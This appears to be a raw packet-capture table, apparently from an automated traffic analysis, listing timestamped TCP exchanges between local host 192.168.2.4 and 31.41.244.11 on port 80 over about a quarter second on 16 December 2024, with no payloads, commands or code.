Dec 16, 2024 21:02:44.909442902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.909499884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.909499884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.909544945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.910176039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.910260916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.910275936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.910295963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.911827087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.911870956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.911917925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.912000895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.913341999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.913383961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.913475990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.913513899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.914964914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.915031910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.915077925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.915179968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.916615963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.916660070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.916697979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.916739941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.918242931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.918287039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.918298960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.918330908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.919817924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.919862032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.919889927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.919929028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.921377897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.921431065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.921480894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.921531916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.922867060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.922916889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.922957897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.922991991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.924320936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.924362898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.924391031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.924433947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.925843954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.925889015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.925926924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.925975084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.927339077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.927397966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.927433014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.927476883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.928818941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.928875923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.929074049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.929126978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.930325985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.930381060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.930515051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.930584908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.931727886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.931790113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.931828022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.931869984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.933165073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.933242083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.933269024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.933319092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.934593916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.934645891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.934688091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.935003042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.936104059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.936150074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.936192036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.936240911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.937522888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.937578917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.937619925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.937660933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.939044952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.939060926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.939132929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.940402985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.940468073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.940474987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.940519094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.941858053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.941906929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.941947937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.941997051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.943428040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.943460941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.943483114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.943495035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.944744110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.944788933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.944847107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.944890022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.946196079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.946242094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.946269035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.946315050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.947717905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.947783947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.947860003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.947902918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.949141026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.949183941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.949199915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.949240923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.950551033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.950594902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.950608015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.950647116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.952044010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.952088118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.952212095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.952404976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.953474998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.953522921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.953604937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.953798056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.955015898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.955065966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.955116034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.955161095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.956363916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.956418037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.956533909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.956573963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.957967997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.958026886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.958054066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.958065987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.959253073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.959305048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.959379911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.959419012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.960707903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.960761070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.960813046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.960900068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.962168932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.962239027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.962282896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.963438034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.963510990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.963548899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.963596106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.964767933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.964821100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.964900970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.964978933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.966142893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.966269016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.966314077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.966418028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.967452049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.967499018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.967561007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.967603922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.968837976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.968863964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.968878031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.968897104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.970031977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.970079899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.970148087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.970293999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.971345901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.971405029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.971447945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.971486092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.972630978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.972686052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.972743988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.972784042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.973988056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.974035978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.974087954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.974127054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.975265980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.975307941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.975322962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.975346088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.976634979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.976691008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.976733923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.976773977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.977914095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.977953911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.978034973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.978156090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.979223013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.979279041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.979326963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.979370117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.980525017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.980597973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.980603933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.980638981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.981829882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.981878042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.981957912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.981995106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.983140945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.983196020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.983263016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.983319044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.984481096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.984597921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.101684093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.101754904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.101802111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.101840973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.102178097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.102226019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.102349997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.102395058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.103264093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.103348017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.103367090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.103382111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.104167938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.104223967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.104265928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.104398012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.105158091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.105200052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.105313063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.105350971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.106218100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.106239080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.106262922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.106281996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.107430935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.107490063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.107544899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.107583046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.108129025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.108196020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.108215094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.108277082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.109100103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.109152079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.109307051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.109464884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.110167980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.110233068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.110311031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.110348940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.111092091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.111154079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.111177921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.111213923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.112112999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.112154007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.112180948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.112201929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.113066912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.113116980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.113131046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.113156080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.114074945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.114120007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.114156008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.114197969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.115046024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.115106106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.115119934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.115160942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.116063118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.116106033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.116163015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.116234064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.117054939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.117111921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.117142916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.117474079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.118052006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.118175983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.118201017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.118215084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.119040966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.119083881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.119153023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.119194984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.120055914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.120117903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.120167017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.120203972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.121011972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.121073008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.121145010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.121352911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.122019053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.122061968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.122087002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.122128010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.122997046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.123043060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.123174906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.123218060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.123970032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.124051094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.124119997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.124161959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.124974966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.125020027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.125075102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.125169992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.125981092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.126024008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.126036882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.126077890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.127003908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.127087116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.127130985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.127252102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.127979040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.128025055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.128097057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.128149033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.128947020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.128989935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.129026890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.129070997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.129884958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.129928112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.129949093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.130004883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.130873919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.130918980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.131009102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.131051064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.131900072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.131966114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.132009029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.132128954 CET	49842	80	192.168.2.4	31.41.244.11
